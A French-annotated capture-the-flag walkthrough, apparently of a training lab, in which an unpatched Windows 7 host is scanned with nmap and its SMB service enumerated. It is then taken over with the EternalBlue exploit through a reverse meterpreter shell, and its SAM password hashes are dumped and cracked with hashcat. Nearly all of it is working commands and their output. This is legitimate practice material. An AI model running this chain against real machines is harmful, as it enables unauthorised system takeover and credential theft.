export IP=10.10.151.138
export TARGET=10.10.151.138
export MONIP=10.21.171.239
sudo nmap -A -p- $IP -T4
Starting Nmap 7.93 ( <https://nmap.org> ) at 2025-09-28 19:19 CEST
Nmap scan report for 10.10.151.138
Host is up (0.049s latency).
Not shown: 65526 closed tcp ports (reset)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open ssl/ms-wbt-server?
|_ssl-date: 2025-09-28T17:34:13+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: JON-PC
| NetBIOS_Domain_Name: JON-PC
| NetBIOS_Computer_Name: JON-PC
| DNS_Domain_Name: J<u>on-PC
| DNS_Computer_Name: Jon-PC</u>
| Product_Version: 6.1.7601
|_ System_Time: 2025-09-28T17:34:07+00:00
| ssl-cert: Subject: commonName=Jon-PC
| Not valid before: 2025-09-27T16:44:25
|_Not valid after: 2026-03-29T16:44:25
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49160/tcp open msrpc Microsoft Windows RPC
JON-PC / Jon-PCenum4linux-ng -A -R -u " " -p " " -v $IP
[+] Got domain/workgroup name: WORKGROUP
[+] Full NetBIOS names information:
- JON-PC <00> - B <ACTIVE> Workstation Service
- WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
- JON-PC <20> - B <ACTIVE> File Server Service
- WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
- WORKGROUP <1d> - B <ACTIVE> Master Browser
- ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
- MAC Address = 02-49-C6-EE-48-A7
==========================================
| SMB Dialect Check on 10.10.151.138 |
==========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
SMB 1.0: true
SMB 2.02: true
SMB 2.1: true
SMB 3.0: false
SMB 3.1.1: false
Preferred dialect: SMB 2.1
SMB1 only: false
SMB signing required: false
==========================================
| RPC Session Check on 10.10.151.138 |
==========================================
[*] Check for null session
[V] Attempting to make session, running command: smbclient -W WORKGROUP -U % -s /tmp/tmp_wvm2ec5 -t 5 -c help '//10.10.151.138/ipc$'
[+] Server allows session using username '', password ''
================================================
| OS Information via RPC for 10.10.151.138 |
================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Skipping 'srvinfo' run, not possible with provided credentials
[+] After merging OS information we have the following result:
OS: Windows 7 Professional 7601 Service Pack 1
OS version: '6.1'
OS release: ''
OS build: '7601'
Native OS: Windows 7 Professional 7601 Service Pack 1
Native LAN manager: Windows 7 Professional 6.1
Platform id: null
Server type: null
Server type string: null
Puisque SMBv1 est activé et que le Windows est ancien on teste si la cible est vulnérable à MS17_010 aka Eternalblue
msfconsole
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 10.10.151.138
RHOSTS => 10.10.151.138
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 10.10.151.138:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.151.138:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.21.171.239
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.151.138
meterpreter session 2 opened (10.21.171.239:4444 -> 10.10.151.138:49208) at 2025-09-28 19:31:18 +0200
[+] 10.10.151.138:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.151.138:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.151.138:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#session meterpreter ok
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : JON-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 0
Meterpreter : x64/windows
#migration vers process stable
meterpreter > pgrep lsass
700
meterpreter > migrate 700
[*] Migrating from 1976 to 700...
[*] Migration completed successfully.
# récupération des hashs de la base SAM
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
# formatage pour Hashcat
echo "Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::" | awk -F: '{print $4}' > hashes_blue
# recherche du code hashcat pour NTLM
hashcat -h | grep -i NTLM
1000 | NTLM
# lancement d'hashcat
hashcat -m 1000 hashes_blue /opt/lists/rockyou.txt
# résultat
31d6cfe0d16ae931b73c59d7e0c089c0:
ffb43f0de35be4d9917ac0cc8ad57f8d:**alqfna22**
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1000 (NTLM)
Hash.Target......: hashes_blue
Time.Started.....: Sun Sep 28 20:00:00 2025 (1 sec)
Time.Estimated...: Sun Sep 28 20:00:01 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/opt/lists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 14702.3 kH/s (0.16ms) @ Accel:1024 Loops:1 Thr:1 Vec:16
Recovered........: 2/2 (100.00%) Digests (total), 2/2 (100.00%) Digests (new)
Progress.........: 10207232/14344384 (71.16%)
Rejected.........: 0/10207232 (0.00%)
Restore.Point....: 10190848/14344384 (71.04%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: alynethebest -> almendraperra12
Hardware.Mon.#1..: Temp: 69c Util: 30%
le hash NTLMv1 de Jon est:
alqfna22